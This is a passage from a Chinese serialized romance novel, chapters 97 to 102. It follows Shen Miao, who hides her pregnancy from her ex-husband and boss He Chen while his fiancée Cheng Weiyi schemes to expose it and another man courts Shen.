沈渺停下来,在他看似从容淡定的面容深处,看到了一抹淡淡的忧伤。 她虽然没问,可从他和张父的状态中看得出,张母的情况非常糟糕。 “不用谢,希望阿姨能早日康复,你要撑住。” 张科研笑容渐渐僵住,差点儿因为她的安慰情绪失控。 不远处突然传来一阵嘈杂。 “让一下,让一下!” 两人转过头看去。 几个白大褂的医生推着急救车匆匆而来。 不等沈渺反应过来,她腰上蓦地一紧,人被张科研拉了一把,扑倒在张科研怀里。 待沈渺稳住心神,定睛一看,赫然对上那匆匆的人群中,一抹深凝的视线。 赫然是贺忱。 97.怎么,怕耽误你谈恋爱 这个时间,贺老爷子的寿宴应该还没结束,他怎么会在这儿? “那是贺总吗?” 张科研也看到了贺忱,他想起什么似的问,“他刚刚不是还在接受采访,宣布跟程小姐的婚事?” 匆匆离去的男人,暗暗看了眼张科研搭在沈渺腰上的手。 他的身影彻底消失不见时,沈渺思绪回笼。 她迅速推开张科研。 “抱歉,刚刚一时情急。”张科研的手僵在空中几秒,悻悻收回。 沈渺抻了抻衣角说,“谢谢你,再见。” 她先一步转身离开,回到车上后,她给贺懿打了一通电话。 ‘嘟嘟嘟’的拨通声,一声接一声却迟迟没有人接。 沈渺的心一点点地提起来。 终于,在通话自动挂断之前,贺懿接了电话。 “小懿,发生什么事情了?” 贺懿那端有些杂乱,她压着声音说,“爷爷身体突然不舒服,血压飙升,我们送他来医院了,你怎么知道?” 刚刚急救人员走得快,沈渺没看清急救车上躺的是谁。 “我在医院。”她沉了沉说,“我在停车场先不上去了,爷爷有任何情况,你随时告诉我。” 贺懿连连点头,“你不用太担心,问题不大,医生初步诊断是累着了,他年纪大了怕麻烦,都怪我妈,非要弄个寿宴宣布我哥跟程唯怡的婚事……” 她碎碎念了一通。 通话结束,沈渺在车里没走。 约莫过了半个多小时,贺懿给她发消息,贺老爷子的血压降下来了。 就是年纪大了禁不起折腾,医生让住院观察两天,回家静养。 贺家人皆是捏一把汗。 贺老夫人守在贺老爷子病床旁,“你们都走,我在这儿陪他。” “妈,您年纪大了,可不能在医院折腾,要是再把您折腾病了,贺家就乱套了。” 明黎艳上前劝说,“让岭山跟贺忱倒班照顾爸,我跟小懿带您回家。” 她伸出手,欲搀扶贺老夫人。 贺老夫人却是避开她的手,“现在知道害怕了?让你别办寿宴别办寿宴,你就是不听!订婚宴闹了一通,寿宴也弄了个乱七八糟,这是要我们老两口的命!” “老夫人,您可别这么说,贺忱跟唯怡结婚,这是喜事,您别为这事儿着急上火,好好养着喝他们的喜酒啊!” 孙易琴上前来,陪着笑脸安抚。 明黎艳的脸色不太好,不论订婚宴还是寿宴都是她操持的。 两个宴会皆是不顺当,贺老夫人这不乏有着怪她的意思。 “再这么折腾,但愿我们还有命喝我孙子的喜酒。” 贺老夫人握着贺老爷子的手。 见贺老爷子躺在病床上,脸色有些黑红,眉头拧着。 她再次挥手,“都走,让我们清静清静。” 明黎艳拗不过,她给贺岭山使眼色,退到一旁。 贺岭山劝了半天,也劝不动。 最后还是贺忱说,“你们先回,我留下陪着爷爷、奶奶,放心,这边交给我。” “我也留下。”贺懿站出来说。 闻言,贺家夫妇与程家人离场。 贺忱送他们下楼,程唯怡落后两步,跟在他身边。 “贺忱哥,你也要好好照顾自己,明天我来看望你们。” “不用了,爷爷需要静养,怕麻烦。” 贺忱嗓音淡淡的,“你的腿还没好利索,别到处乱跑。” 程唯怡勉强能恢复正常行走,医生再三交代不能到处乱跑。 “没事,司机送我过来,我来了不说话,给你们送了午餐就走。” 她的坚持,并未换来贺忱的允许。 “唯怡,听话。” 四个字,不容置疑,隐隐能感觉到他的不耐烦。 程唯怡不再坚持,“那好吧。” 停车场,沈渺准备离开时,看到他们下来,分别上了车离开。 待他们的车都离开后,沈渺才发动引擎,驱车缓缓驶离原地。 谁知刚将车拐出车位,冷不丁看到男人颀长的身影。 贺忱身型劲瘦,站在那儿吸烟。 缭绕的烟雾在他薄唇里溢出,脸颊在朦胧的雾气中,那双深邃的眼眸泛着丝丝幽光。 纵然并不能准确无误地对上他那双狭长的眸子。 可沈渺还是能察觉到,他也看过来了。 下意识踩了刹车,车就停在贺忱的正前方,她只能解开安全带下去。 “贺总。” 她换下礼服,穿着一件边缘蕾丝的浅绿色长裙。 她肩骨漂亮,直角肩穿什么衣服都好看。 愈发显得天鹅颈细长,整个人透着一股淡淡的清傲。 “未来一段时间,不许请假,我很忙,你跟林昭分担所有工作。” 贺忱嗓音涔涔,周身散发着极低的气压。 “知道了。”沈渺颔首。 虽然只是高血压,可年纪大了经不起一点儿小问题。 贺忱很孝顺,亲自照顾贺老爷子,在她的预料之内。 只是想到她最近愈发懒倦的身姿,她的细眉不由得拧了拧。 “怎么?”贺忱凝着她,“怕耽误你谈恋爱。” 自问自答,他语气近乎肯定着。 沈渺沉默几秒,摇头道,“不怕,贺总放心,我一定以工作优先。” 她低眉顺眼,眉眼处带着的疏离和寡淡。 让贺忱的心头生出不悦。 她曾经淡笑柔和的模样,在他内心深处涌上来,酸意腐蚀着他的胸腔。 一想到她以后对他都是这幅寡冷的样子。 对别的男人温柔,他—— “贺总,没别的事情我先回去了。” 沈渺见他指缝里的烟都快自动燃尽了,转身离开。 贺忱眼皮轻掀,看着她上车离开。 —— 程家。 “这老头子,什么时候生病不好,非要现在生病。” 孙易琴抱怨了一路,回到家里后,又忍不住继续叨叨。 “我有事去公司,你别抱怨了,抓住时间就落实婚礼的事情,看看贺家能不能把婚事提前,万一老爷子出事贺忱要守孝三年,婚事就得往后推了。” 三年,瞬息万变,指不定又出什么故障呢。 程青良交代一番后又离开。 他前脚走,后脚孙易琴就将手机拿过来。 “我先问问沈渺怀孕的事情,然后再催他们把婚期提前。” 她拨通了明黎艳的电话。 98.上次为了贺忱,这次呢? “等等,妈!” 程唯怡一把将手机拿过来,挂断电话。 “这通电话,不能打!” 孙易琴推开她的手,把手机夺回来,“不打不行,我不能让你嫁过去受委屈!” 程唯怡拿着手机起身,拉开与她的距离。 “妈,不论贺家知不知道,事情捅破了都会引起贺家内乱,现在贺老爷子这个情况,万一真出事我跟贺忱哥就结不了婚了!” 她已经等了这么多年,不想再等三年了! 孙易琴毫不犹豫地说,“沈渺怀孕的事情,必须弄清楚,不然这个婚不结也罢!” 她虽然是把程唯怡当成贺家的儿媳妇来养。 可也不能让贺家欺负了去! “我已经想到办法,弄清楚沈渺肚子里的孩子了,这件事情我自己解决,你别管了。” 程唯怡一脸信誓旦旦,她绝不是那种会委曲求全的性子! 她喜欢了贺忱很多年,孙易琴看在眼里。 见她如此执着,孙易琴只能妥协。 “行,你有办法了就好,但你记住,有任何事情解决不了,一定要来告诉妈,任何事情有妈兜底呢!” 她给了程唯怡莫大的底气。 程唯怡松一口气,将手机还给她,“妈,幸好我还有你。” 她坐到孙易琴身边,抱着孙易琴胳膊,好一阵撒娇。 片刻,程唯怡上楼,她打开手机点开与周芸的聊天记录。 【程小姐,上次你见到的女人是孤儿院的院长,是她把沈渺养大的,你说的事情,她一定知道!】 【事情就交给你了。】 虽然还没有确切证据,可程唯怡基本确定,沈渺是怀孕了的。 她给周芸发完消息,又拨出一通电话。 “是我,我有事想求你帮忙。” 电话那端,一道嘶哑又阴鸷的声音传来,“上次求我是为了贺忱,这次呢?” 程唯怡咬了咬嘴唇,“这次……还是为了贺忱哥!别忘了,你还有东西在我手里。” 那端一阵死寂后,男人的声音再次传来,“程唯怡,你最好别让我抓住你的把柄,不然你连自己怎么死的都不知道。” ‘啪’的一声,程唯怡将电话挂了。 她知道,那个人,一定会帮自己。 —— 在贺忱的劝说下,贺懿带着贺老夫人回家了。 贺忱每天都在医院,公司事务都交给沈渺和林昭。 接连几天,沈渺几乎每天晚上都工作到深夜。 卷卷出院,她都没时间过去,商音抽出时间过去接的。 “这才几天不见,卷卷都瘦了一圈。” 商音心疼道,“听浅姨说,她最近吃不下东西,药物副作用导致的。” 沈渺在公司接的电话。 此刻整个顶楼,只剩下她一个人了。 她声音虽小却十分清晰,整层楼都能听得清楚那般。 “让你找医生,你找过了吗?” 那天被贺老爷子的事情打断,沈渺忘记回去找卷卷的主治医生,问医药费的事情。 “找了,医生说卷卷的病跟其他人不一样,这么大一个医院,不能特殊对待咱一个人吧?” 商音思考了一下又说,“回头我拿卷卷的病历,托人问问其他儿科大夫。” 沈渺将手机夹在肩膀与耳朵之间,翻动手上的文件。 “行,医药费的事情就交给你了。” “贺忱跟程唯怡真要结婚了?” 贺老爷子的寿宴后,程唯怡跟贺忱的婚期传开来,热度居高不下。 商音‘啧啧’了两声。 “都说男人是下半身思考的动物,你不论样貌还是身材都比程唯怡强多了,贺忱一点儿不上瘾?” 她敢保证,十个人里有九个,都觉得沈渺比程唯怡好看。 好看了不止一星半点。 “情人眼里出西施。”沈渺安静了几秒,扯动的唇角带着几分苦涩,“我觉得他们挺般配,真心希望他们快点结婚。” 她放下文件,抬起手将手机拿稳,“祝他们幸福。” 电话那端,一阵死寂。 商音不说话,是在想象沈渺说这话时,是什么表情的。 沈渺深吸一口气,拿着一份文件站起来,“我先……” 办公室门口,贺忱穿着黑色衬衫,领带松散,领口几颗扣子敞开着。 他下巴冒出一层青色胡茬,整个人透着慵懒随性。 将他眉目间的锋利,都掩去了几分。 “不说了,先挂了。”沈渺压低声音,快速挂断电话,把手机放下,“贺总。” 贺忱双手揣兜,臂弯处搭着浅灰色外套。 他眼眸微眯起来看着沈渺,耳畔回荡着沈渺刚刚的话。 “我觉得他们挺般配的。” “真心祝他们幸福。” 说这话时,沈渺的表情淡然从容,可见是发自内心说出来的。 贺忱心底弥漫开莫名的不悦。 “拿着你的东西,上楼开会。” 沈渺处理完手上的文件,都打算下班了。 现在看来,下班无望。 她拿着东西跟着贺忱上楼。 公司静悄悄的,两人走路的声音交错,身形交织。 国外项目出了问题,贺忱不得不回公司处理。 会议持续开了三个小时,沈渺几次都觉得大脑一片空白,听不进去了。 借着低头姿势,她眯起眼睛,试图小憩缓解疲倦。 可眼睛刚闭上,脑袋里紧绷的弦就松开,直接睡着了。 她的头‘咚’地朝桌子上倒下去。 光滑的额头快砸在笔记本上时,一只骨节分明的手迅速伸过来,托住她的脸蛋。 她下巴抵在贺忱虎口处,脸颊被他手指挤成包子。 她浅薄灼热的呼吸喷洒在贺忱手指上,酥酥麻麻的,那股感觉透过皮肤,一直蔓延到他心口。 他将笔记本拿开,轻轻把沈渺的头放在桌子上。 末了,又将外套给沈渺披上。 办公室里,除了电脑那端传来的流利英文,便是沈渺均匀规律的呼吸声。 这几天沈渺都没睡过一个安稳觉。 这次直接睡到自然醒,身体解了乏,整个人都感觉舒服极了。 她忍不住伸了个懒腰。 手却冷不丁触碰到一抹坚硬温热的胸膛。 沈渺身体倏地僵住。 她后知后觉想起来,自己不是在开会吗!? 贺忱还在! 她缓缓睁开眼睛,入目是白色的天花板。 她很熟悉,这儿……是贺忱的休息室。 那她手碰到的地方—— 99.软软的,肉感很足。 贺忱紧贴着她躺在那里,衬衫扣子颗颗敞开,露出健壮精致的胸膛。 蜜麦色的肌肤透着深深的男性荷尔蒙。 几秒的迟疑后,沈渺蓦地将手缩回来。 随之而来的,是男人缓缓睁开眼眸,投来的目光带着几分睡意和慵懒。 沈渺忙不迭坐起来。 双手抓着薄被,正欲往身上扯时,发现自己穿着衣服。 贺忱也只是衬衫扣子松散开,衣着还算完整。 半合的窗帘透进来充足的光亮。 办公室外传来细碎的脚步声和交谈。 她目不斜视,拿过枕头旁的手机。 已经九点半了! “贺总,我先出去上班了。” 她掀开被子下床,将衣服整理了下。 贺忱抬起胳膊,垫在头下,看着她将皱巴巴的裙子一点点抻平。 不知是不是太久没抱她。 昨晚把她抱到床上时,觉得她腰似乎粗了些。 软软的,肉感很足。 又或许,是沈渺胖了。 他的打量,让沈渺后背冒冷汗。 她自然猜得出,是贺忱把她抱过来的。 虽然她比怀孕前胖得不多,可肚子是确确实实凸起来了的。 贺忱每一个打量的眼神,都让她有种被他看穿的错觉。 好在秘书办人还不多,没人发现沈渺在贺忱的办公室里出来。 “渺渺,早啊。” 吴蕾从电梯里出来,径直走到她身边,将一个浅蓝色的保温桶,放在办公桌上。 “科研炖的汤,让我给你带一份。” 沈渺顿了下,迅速把保温桶拿起来递还,“不用了,我吃过早餐了。” “知道你吃过早餐,让你留着午餐时吃的。” 吴蕾将保温桶推回来,“别客气了,让你喝你就喝,他手艺挺好的。” 说完,吴蕾快步回了秘书办。 沈渺想追出去,却已经来不及。 保温桶身上有个便贴纸,是张科研写的。 【希望合你胃口,改天见面再把保温桶还我就行。】 改天见面? 沈渺的计划中,没有再跟张科研见面的行程。 她盯着便签纸上的字。 面前光线忽然一暗。 贺忱不知何时从办公室出来,正站在她面前。 微垂的眼眸扫过她手中的便签纸上,僵了一瞬移开。 他又看向保温桶。 “贺总。” 沈渺迅速将便签纸塞入口袋,又将保温桶收起来。 “去我家拿几套换洗衣服,送到医院,公司的事情先交给林昭。” 贺忱瞥了眼她口袋露出便签纸的一角,丢下两句话,转身离开。 沈渺应声。 她将着急的工作交接给林昭,驱车直奔贺忱公寓。 一个小时后,沈渺将贺忱的换洗衣物送到医院。 她敲响贺老爷子的病房门。 巧的是,今天贺老夫人来看望贺老爷子。 她坐在椅子上,不知跟贺老爷子说了什么,两人笑得合不拢嘴。 床尾的沙发上,贺忱双腿叠放,怀里抱着笔记本。 她推门而入的瞬间,几个人的目光朝她一同看过来。 “爷爷,奶奶。” 沈渺一手拿贺忱行李,一手拎着果篮进来。 贺老爷子在病床上坐起来,贺老夫人赶忙扶他一把。 “你还愣着干什么?把渺渺手里的东西接过来啊!” 见贺忱还坐在沙发上不动,贺老夫人白了他一眼。 “不用。” 沈渺已经进来,将果篮放在床头柜子上了。 “不是说过几天就能出院吗?” 这都好几天过去了,贺忱还让送行李,可见还得住几天。 二老不满的目光,齐齐看向贺忱。 “身子各项指标不达标,不能出院。” 贺忱淡声解释。 他给贺老爷子安排了一个全身检查,好几项数据超标的。 医生建议留院观察,至少还得再住一星期。 “我懂医术,都是老毛病,等我回家给自己抓几幅中药调理一下就好。” 贺老爷子提起出院的事儿,就着急。 贺老夫人顺着他胸口说,“别急,再多住几天没坏处,他也是担心你。” “他是怕我出事,婚礼推迟。”贺老爷子脾气拗上来了,“放心,我就是吊着一口气,也等你办完婚礼再咽气。” 安静的病房,爷孙两个之间硝烟味很浓。 准确一些来说,是贺老爷子单方面对贺忱的不满。 贺老夫人忙添一句,“何止是等他结了婚,你还要等着看曾孙呢……” “是啊。”沈渺顺应贺老夫人的话,“您就安心养着,听贺总的。” 贺老爷子冷哼一声,气儿还是冲着贺忱去。 贺忱眉骨蓦地收拢,不知是对贺老爷子的‘不听话’感到生气了。 还是其他,让沈渺猜不透的原因。 总之他的脸色变得有些不好。 “爷爷奶奶,我先回公司了,改天再来看您。” 沈渺适时宜地提出告辞。 贺老爷子点了点头,“去忙吧,我没事,不用担心。” 她又看向贺忱,“贺总,我回公司了,您还有其他事情要交代吗?” “不用回了,今天给你放假。” 贺忱撩拨了下眼皮,“好好休息,免得生病了耽误工作。” 她昨晚睡得虽然熟,可几天来超负荷的工作量,让她状态不怎么好。 “谢谢贺总。” 贺忱一向体恤下属。 只是那句‘免得生病了耽误工作’,显得有些刺耳。 他就算不解释,沈渺也不会觉得,他关心的是她身体。 沈渺去了一趟孤儿院,看卷卷。 她将车停在孤儿院门口,朝院内走时,瞥见一抹粉色的身影,倏地钻进了仓库里。 沈渺脚步顿了下,掉头朝仓库走。 “沈渺,你怎么回来也不说一声?” 浅姨的声音在餐厅传来。 沈渺循声看去,浅姨透过窗户往外看。 “临时有了假期,过来看看卷卷。” 说着她又看了眼仓库,“刚刚过去的人是谁?” 浅姨从厨房出来,摘掉围裙朝她走过来,“现在卷卷需要有专人照顾,我又找了个人来。” 偶尔孤儿院忙不开,浅姨就会雇人来照顾。 沈渺却觉得奇怪,“她看到我跑什么?” “跑了吗?”浅姨把围裙递给她,“可能刚好有事去仓库拿东西了,你去厨房帮我弄一下汤。” 沈渺绕开她,“我厨艺不好,您自己做吧,我去仓库看看。” 100.沈渺,我们可以试试吗? “仓库有什么好看的?” 浅姨拽住她,“你进屋陪卷卷吧,她回来以后整天闹情绪,到现在都不好好吃饭。” 沈渺又往仓库方向看了一眼,听到浅姨提卷卷,她这才调转方向。 生病的缘故,卷卷单独住一个房间。 她戴着一顶白色的针织帽,穿着粉色秋衣秋裤,坐在床上往窗外看。 沈渺隔着窗户朝她招手。 她扯出一个笑容,只是那笑容远不及以前的天真烂漫。 “卷卷,都回家了,怎么还不开心?” 沈渺坐在床沿,看着她小小一团缩在窗台处,伸出手示意她过来。 卷卷爬过来,在沈渺腿上躺下。 “渺渺姐姐,我什么时候能去上学?” 在医院时,卷卷闷闷不乐,盼着回家。 回到家里,又盼着回学校,恢复正常生活。 “很快就能回去的。” 沈渺摸着她的头,隔着薄薄的针织帽,依稀能摸到她新长出来的发根,有些扎手。 卷卷眼神黯淡无光,了无希望。 “虽然不在学校,可我们也要认真学习哦,老师每天都会把课程录制发过来,你都要认真看完。” 沈渺转移话题道,“只有这样,你回学校才能继续当第一名。” 卷卷点着头,“我都有认真看哦,渺渺姐姐要是不信,可以考考我。” “那我就考考你。” 沈渺出了几道题,卷卷都做出来了。 她从口袋里拿出一支纯手工的山楂糖,“这是奖励,下次我来还会抽查你的成绩哦,到时候再给你带其他的。” 卷卷眼睛亮了几分,把山楂糖拿过来,“渺渺姐姐,你要走了吗?不跟我们一起吃午饭吗?” “不了。”沈渺摇头,她打算去商音那儿一趟。 几天不见,她格外想干儿子。 她把卷卷哄开心后离开。 隔着厨房窗户,浅姨看到她离开,却没说什么。 直到沈渺的车驶离孤儿院。 厨房的门帘被掀开。 “浅姨,刚刚那谁啊。” 周芸走进来,装作不认识地问。 浅姨眼皮都不抬一下地说,“也是在这孤儿院出去的。” “呀。”周芸惊讶道,“她看起来光鲜亮丽的,咱们孤儿院还有这种能耐人?” “是能耐。”浅姨不得不否认,“咱们孤儿院这几年,日子好了很多,都靠她跟商音,她是白领商音是网红。” 周芸正欲点头,手上一重,被浅姨塞了抹布过来。 “别闲着,这么多活儿呢。” “哦好。” 周芸翻了个白眼,转身找地方随便擦擦,“我可羡慕当白领的了,她应该不少赚钱,不过她结婚了没有啊?结了婚还能掏钱管孤儿院吗?” 提起沈渺,浅姨就有一肚子话。 她一直守着孤儿院,不与外人接触。 眼前的周芸成了她为数不多可说话的人。 反正又不认识,她索性敞开了抱怨。 “她当然没结婚了,结了婚肯定不会再管孤儿院,不过……” 想到什么,浅姨把手里的东西摔摔打打,“估计以后也不会再给钱了,就薅这一次了。” 周芸打量着她脸色,“为什么啊?” “没为什么,干你的活儿吧。”浅姨一想到沈渺怀孕的视情况,就很烦。 最近卷卷的事情耽误的,她没机会再跟沈渺谈怀孕的事情。 听沈渺的语气,那个孩子是铁定要生。 周芸见她心事重重,不再问,溜出厨房,给程唯怡发消息汇报情况。 程唯怡让她继续盯着,务必在浅姨口中得到沈渺是否怀孕的确切消息。 “这老太婆特别苛刻,多聊两句就说我偷懒!” 周芸来的第一天就想方设法地套话。 但浅姨见她闲着就指使她干这干那,她根本找不到机会。 刚刚聊的这两句,都算多的。 “你继续盯着。” 程唯怡挂了电话。 周芸把手机收起来,一扭头冷不丁看到浅姨站在她身后。 她一哆嗦,“浅……浅姨。” “怎么?”浅姨横眉冷眼,“打电话给家里人告状呢?别人来孤儿院干活都是义工,不要钱,你拿着工资还嫌干活?不是说很喜欢孩子吗?” 周芸脸色悻悻,赔笑说好话,“浅姨你别放心上,我是真喜欢小孩,就是刚开始干活,有些不习惯。” “真喜欢?”浅姨质疑。 周芸竖起三根手指,“我发誓,我真的喜欢小孩,特别特别喜欢!” “既然这样,今天起你东屋几个孩子。” 浅姨把一包纸尿裤塞她怀里,“正好该换纸尿裤了,去吧,换完了再过去喂饭。” 东屋几个孩子先天下半身有问题,长期穿纸尿裤。 周芸哪里干过这种活儿? 她脸上褪干净血色,喊住浅姨,“我没干过,我怕弄不好!” “干一次就会了。”浅姨一点儿机会都不给她,“赶紧去,墨迹什么,要不你就走人。” 末尾这话,把周芸还想反驳的话堵在了喉咙里。 她能走吗? 当然不能了! 第一次被百荣开除,她的职业生涯就已经留下污点了。 她抱紧了程唯怡的大腿,好不容易换来第二次工作机会,最后还把程唯怡给得罪了。 要不是她发誓,为程唯怡赴汤蹈火在所不辞。 程唯怡连这机会都不会给她…… —— 一顿饭的时间,商音给商庭起了个小名。 因为沈渺喊他‘商庭’怪怪的,有种跟二十多岁成年人对话的既视感。 “就叫商商。”商音冲沈渺挑挑眉,“怎么样?” 沈渺放下筷子,起身收拾,“行,你是他妈,你说了算。” “干妈也是妈,你也有发言权。” 商音瞥了眼她肚子,“将来你肚子里那个,我也有发言权。” 沈渺拿着碗筷进厨房,一边收拾一边听她说。 乍然响起的手机铃声,打断了商音的喋喋不休。 她擦干手将手机拿起来。 是张科研发来的语音通话。 她接了。 “沈渺,你今天加班吗?” 沈渺突然想起来,早上他托吴蕾带过来的汤,还在公司。 “不加班。” “那晚上我去接你,一起吃个饭?” 张科研发出邀请,末了又添一句,“我熬的汤喝了吗?味道好的话,明天再给你带。” “还没喝。”沈渺想了想说,“晚上我有事,改天再约,我把汤桶还你,不用再带了,太麻烦了。” 那端安静了几秒,张科研再度开口,“沈渺,我们……可以试试吗?” 101.沈渺肚子里的孩子,是谁的! 突如其来的话,让沈渺一时反应不过来。 “试什么?” “以交往为目的的接触一下。” 张科研说这话时,语气明显有些紧张。 沈渺没想到,张科研会对她感兴趣。 “如果是因为我帮过你,你就对我有好感,我觉得未免太草率了。” 张科研忙解释,“不是的,第一眼看到你,我就对你有感觉,只是你对我无意。” 后来又巧合下,多次与沈渺见面,他觉得他们是有缘分的。 “抱歉,我现在对你也没有感觉。”沈渺的拒绝很直白。 “我知道,所以我们先从朋友做起。”张科研纠正了一下刚刚的措辞,“不是试试,是做朋友。” 听到沈渺说话,商音抱着孩子往她跟前贴,耳朵都贴到手机上去了。 沈渺刚避开,就被她扯回来,继续监听。 “你不是我喜欢的类型,就这样吧。” 她挂断了电话。 “谁啊?”商音一脸八卦。 沈渺把手机放下,继续刷碗,“一个朋友。” “不会是林昭吧?”商音对沈渺身边有几个男人,了如指掌。 除了贺忱,就跟林昭接触最多。 “怎么可能!”沈渺提醒她,“他可是知道我跟贺忱结婚的。” 商音撇了下嘴,“那又怎么样?你长得漂亮又有能力,嫁过人也有很多人喜欢!” 沈渺解释,“同事介绍的相亲对象,因为一些意外没推掉,我已经拒绝过了。” “你魅力大。”商音抱着商商出去,嘴里念叨着,“干妈魅力可真大,对不对?等她给你生个童养媳嗷~” 沈渺没把张科研的话,放在心上。 直到她回家,在楼下看到张科研。 “你怎么知道我住这儿?” 张科研歉意道,“打听了一下。” 想到他跟吴蕾的关系,沈渺明白了。 “我只是觉得,这件事情应该见面谈,放心我以后不会不经你允许,就过来。” 张科研面色认真。 沈渺听他将话说完,沉默片刻。 “我有喜欢的人,我结过一次婚,我还……” “你要拒绝我,也不用找这么荒谬的理由。” 张科研打断她,“抱歉,可能是这件事太突然,才让你这么反感,但我不是心血来潮,请你相信我。” 沈渺信。 可越信,才越觉得棘手。 “我个人条件虽然不错,可家境不算优秀,在老家有一套房子,全款买的,父母在农村也有房子,目前年收入二十万。” 张科研自顾自地报家底。 报完了不等沈渺发表意见,也不等沈渺介绍自己,就单方面结束了这次见面。 走之前他还说,“希望你认真考虑一下,但千万不要被我的行为困扰到。” 张科研是一个非常不错的结婚对象。 沈渺想,她要是没有怀这个孩子,是不是会认真考虑一下? 可紧接着来的,是贺忱那张骨相俊朗的面容。 她深吸一口气,上楼回家。 一周后,贺老爷子出院。 贺忱终于正常来公司,沈渺的工作量减半,顿感轻快了不少。 一周的时间,周芸也终于从浅姨口中,得到了沈渺怀孕的确切消息。 程唯怡本就快死了的心,这下彻底死了。 她再次掏出手机,拨出电话。 “我要让你弄清楚,沈渺肚子里的孩子,是谁的!” 那端一阵细碎的声音后,男人的声音传来,“我不是她肚子里的蛔虫。” “我会安排好一切,到时候你按我说的做,你先回国!” 程唯怡站在窗边,看着降临的夜幕,一片漆黑却远不及她眼底涌上来的阴冷黑暗。 —— 这段时间,张科研每天都会给沈渺发消息。 提醒她天气变化,早上说早安,晚上说晚安。 沈渺有些头疼,她趁午餐时,约吴蕾一起吃饭。 吴蕾看到她就笑得合不拢嘴,“沈渺,咱们以后就是一家人了吧?” “我就是想跟你谈谈张科研的事情。”沈渺示意她坐下。 听她语气,好像她跟张科研八九不离十了那般。 “怎么?” 吴蕾看出她态度不是自己想的那般,在她对面坐下,“科研惹你生气了?” “蕾姐,我们不合适。”沈渺直言不讳,“我目前没有恋爱和结婚的打算。” 她十分认真。 吴蕾心里不是滋味,当初介绍沈渺跟张科研认识。 是她强人所难了一把,沈渺赶鸭子上架。 可她是真觉得,沈渺跟张科研合适。 “你是觉得,他妈妈生病了?” 沈渺忙不迭摇头,“当然不是,我……有喜欢的人。” 吴蕾面色愕然,许是没想到,沈渺这样理智型的人,也会玩儿暗恋。 而且像沈渺这个年纪,过了谈情说爱的冲动时。 应该选择适合的。 “你真不是为了拒绝,故意这样说的?” “当然不是。” 公司餐厅,不断有认识的人过来。 沈渺压低声音说,“我从来不骗人,你又不是不知道。” “那我不信。”吴蕾抓她的空子,“你想离职,找了那么多借口,不就是在隐瞒离职真相,不就在撒谎吗?” 沈渺一噎。 尤其吴蕾说完这话后,贺忱蓦地出现在餐厅。 她坐在靠门口的位置,距离他只有一步之遥。 吴蕾背对着门口,继续说,“这么高薪的工资,又爬到今天这个位置,铁饭碗都稳了,你却还要走,到底是有什么难言之隐?” 不论谁分析,沈渺要辞职都不是自愿。 一定是有不得已的苦衷,让她不得不做出这样的选择。 贺忱看沈渺的眸光,更沉了些。 “贺总。” 沈渺站起来,朝贺忱颔首。 吴蕾一激灵,起身回头,连看都不看忙说,“贺总,我……跟沈渺开玩笑呢!” 贺忱目不斜视地看着沈渺。 那眼神里的探究,仿佛要把沈渺盯出一个洞来。 他削薄的唇呈直线状,令他看起来有几分薄凉生冷。 “贺总,程小姐最近怎么不来公司了?” 吴蕾见贺忱盯着沈渺,便知自己的话被贺忱听去了。 她赶忙转移话题,为沈渺解围。 “她腿还没好利索,适合静养。” 贺忱又向前一步,越过吴蕾,径直站在沈渺面前。 “原来沈秘书一直想辞职,是有苦衷的,不妨说说,或许我能帮忙。” 102.与之都有关联的,是他。 沈渺低垂着头,紧咬着内唇。 大脑飞速运转,却也找不到话对答贺忱。 “贺总,我就随口一说,哪有什么难言之隐,天下没不散的宴席,沈秘书还年轻,不能真为百荣干一辈子。” 吴蕾悻悻替沈渺找借口。 贺忱狭长的眸直直落在沈渺身上,不理会吴蕾的话。 沈渺深吸一口气,她抬起头来扯了下嘴角,顺着吴蕾的话往下说。 “是啊,婚姻的保质期都不是一辈子,一份工作而已。” 她故作轻松,本柔和的眉目遮不下的淡淡忧伤,落在贺忱眼里,像是几分厌烦。 厌烦那段两年的婚姻。 厌烦这份工作。 与之都有关联的,是他。 贺忱喉结滚动,目光逐渐锐利。 他下颚线条清晰,薄唇轻启道,“放心,沈秘书下次再有离职的想法,公司不留你。” 说完他转身离开。 林昭连胜叹气,跟他出去,“这午饭又吃不上了……” 贺忱的到来,令餐厅静悄悄的。 他刚走,餐厅恢复嘈杂。 三五成群的人聚集,目光频繁落在沈渺身上。 沈渺坐下,看着餐盘里的食物,本饥肠辘辘饿得很,却突然没了食欲。 “对不起啊。” 吴蕾坐下,“我没想到贺总会来餐厅,这下可给你惹麻烦了。” “没事。”沈渺扯出一抹笑容,“吃饭吧。” 为了肚子里的孩子,就算没有食欲,她也得吃。 “这些人话可真密。” 吴蕾见周围都在低声议论刚才的事情,更为内疚,“真对不起啊沈渺。” 沈渺拍了拍她手,“快吃吧,等会儿凉了。” “科研那边,我会帮你转告一声的。”吴蕾本还想撮合。 可刚干了‘对不起’沈渺的事儿,她不好意思再撮合了。 沈渺朝她点点头。 饭局结束后,吴蕾就去给张科研打了电话。 不过,没效果。 张科研依旧朝九晚五地给沈渺发微信,提醒她天气变化,注意吃午餐。 沈渺不知道的是,张科研还让吴蕾帮他给沈渺带汤,吴蕾拒绝了。 贺忱宣布了婚期后,百荣跟程家的股市一路上升。 为了再拉程家一把,他出席各种酒会的频繁度比以前高了几倍。 沈渺躲酒,都是林昭替贺忱挡酒,连续几次,林昭有些撑不住,病倒了。 今晚刚好有个宴会,沈渺得跟着贺忱出席了。 “下午三点,你去程家接唯怡,直接带她去酒店汇合。” 沈渺跟着贺忱进入公司,她应声,“好。” 两人朝电梯走去。 前台突然喊了一声,“沈秘书,这里有你的东西!” 沈渺停下来,回头便见前台拎着保温桶追过来。 “一位张先生送过来的。” 是张科研,吴蕾不帮他送,他亲自送到公司来了。 贺忱人已经进了电梯,抬起的手抵着电梯门,他凝望着沈渺。 “知道了,下次别再让他放东西。” 沈渺接过来,交代了一声,转身匆匆进入电梯。 她声音很小,贺忱听不清她跟前台说了什么。 但他能看到,她收了那东西。 “张先生手艺很好吗。” 沈渺站在他的右后方,“还行。” 其实她没尝过,全凭本能回答的。 贺忱静默数秒,嗓音低沉道,“比起我呢。” 他也会下厨,虽然次数不多,可沈渺印象深刻。 “自然是跟贺总比不得。” 她客气一笑,话语间,贺忱跟张科研在她心里,远近立显。 贺忱面色蕴着一层淡淡的不虞。 十七楼,电梯停下,沈渺先一步出去。 她拎着的保温桶,格外刺眼。 电梯门合上,贺忱的眉头随之拢起,墨色的瞳仁深处,一片复杂。 沈渺以换汤桶为由,约张科研见面。 【晚上,酒会见。】 张科研晚上会跟着陈庆去酒会。 下午三点,沈渺抵达程家,接程唯怡。 